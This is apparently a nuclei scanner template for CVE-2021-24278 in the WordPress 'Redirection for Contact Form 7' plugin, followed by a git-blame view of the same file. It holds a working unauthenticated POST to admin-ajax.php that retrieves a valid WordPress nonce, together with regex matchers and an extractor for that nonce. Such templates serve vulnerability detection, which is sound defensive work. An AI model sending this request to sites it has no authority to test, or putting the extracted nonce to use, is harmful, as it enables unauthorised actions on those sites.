nuclei-templates/http/cves/2021/CVE-2021-24278.yaml

id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.05157
    epss-percentile: 0.92966
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4a0a00473045022100c8fac8fdf71326555a5486e0e8e4cee24f7c0935a646560cea1647dc070116c4022032a19f5428b2a56be9a82a4133abf280624b3aaf97b89bfed02d8b4f37761fe4:922c64590222798bb761d5b6d8e72950
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`id: CVE-2021-24278`

			`info:`
Dashboard Content Enhancements (#4665) * Enhancement: cves/2021/CVE-2021-24750.yaml by mp * Enhancement: cves/2021/CVE-2021-24340.yaml by mp * Enhancement: cves/2021/CVE-2021-24278.yaml by mp * Enhancement: cves/2021/CVE-2021-24226.yaml by mp * Enhancement: cves/2021/CVE-2021-24146.yaml by mp * Remove link to opencve.io in favor of NVD * Minor cleanups and added cve-id to CVE-2022-1904.yaml Co-authored-by: sullo <sullo@cirt.net> 2022-06-25 07:14:58 +00:00			`name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`author: 2rs3c`
			`severity: high`
Dashboard Content Enhancements (#4665) * Enhancement: cves/2021/CVE-2021-24750.yaml by mp * Enhancement: cves/2021/CVE-2021-24340.yaml by mp * Enhancement: cves/2021/CVE-2021-24278.yaml by mp * Enhancement: cves/2021/CVE-2021-24226.yaml by mp * Enhancement: cves/2021/CVE-2021-24146.yaml by mp * Remove link to opencve.io in favor of NVD * Minor cleanups and added cve-id to CVE-2022-1904.yaml Co-authored-by: sullo <sullo@cirt.net> 2022-06-25 07:14:58 +00:00			`description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`reference:`
			`- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413`
			`- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/`
Dashboard Content Enhancements (#4665) * Enhancement: cves/2021/CVE-2021-24750.yaml by mp * Enhancement: cves/2021/CVE-2021-24340.yaml by mp * Enhancement: cves/2021/CVE-2021-24278.yaml by mp * Enhancement: cves/2021/CVE-2021-24226.yaml by mp * Enhancement: cves/2021/CVE-2021-24146.yaml by mp * Remove link to opencve.io in favor of NVD * Minor cleanups and added cve-id to CVE-2022-1904.yaml Co-authored-by: sullo <sullo@cirt.net> 2022-06-25 07:14:58 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-24278`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`- https://github.com/ARPSyndicate/cvemon`
			`- https://github.com/ARPSyndicate/kenzer-templates`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2021-24278`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`cwe-id: CWE-863`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-score: 0.05157`
			`epss-percentile: 0.92966`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7::::::wordpress::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: querysol`
			`product: redirection_for_contact_form_7`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: wordpress`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`- method: POST`
			`path:`
			`- "{{BaseURL}}/wp-admin/admin-ajax.php"`

CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`body: "action=wpcf7r_get_nonce&param=wp_rest"`

Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`headers:`
			`Content-Type: application/x-www-form-urlencoded`

			`matchers-condition: and`
			`matchers:`
Added additional matcher 2021-11-27 04:34:24 +00:00			`- type: regex`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`part: body`
Added additional matcher 2021-11-27 04:34:24 +00:00			`regex:`
			`- '"success":true'`
			`- '"nonce":"[a-f0-9]+"'`
			`condition: and`
Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- type: status`
			`status:`
			`- 200`

Add template for CVE-2021-24278 2021-11-26 23:32:48 +00:00			`extractors:`
			`- type: regex`
			`regex:`
Dashboard Content Enhancements (#4665) * Enhancement: cves/2021/CVE-2021-24750.yaml by mp * Enhancement: cves/2021/CVE-2021-24340.yaml by mp * Enhancement: cves/2021/CVE-2021-24278.yaml by mp * Enhancement: cves/2021/CVE-2021-24226.yaml by mp * Enhancement: cves/2021/CVE-2021-24146.yaml by mp * Remove link to opencve.io in favor of NVD * Minor cleanups and added cve-id to CVE-2022-1904.yaml Co-authored-by: sullo <sullo@cirt.net> 2022-06-25 07:14:58 +00:00			`- '"nonce":"[a-f0-9]+"'`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Auto Template Signing [Sat Jun 1 06:52:59 UTC 2024] :robot: 2024-06-01 06:53:00 +00:00			`# digest: 4a0a00473045022100c8fac8fdf71326555a5486e0e8e4cee24f7c0935a646560cea1647dc070116c4022032a19f5428b2a56be9a82a4133abf280624b3aaf97b89bfed02d8b4f37761fe4:922c64590222798bb761d5b6d8e72950`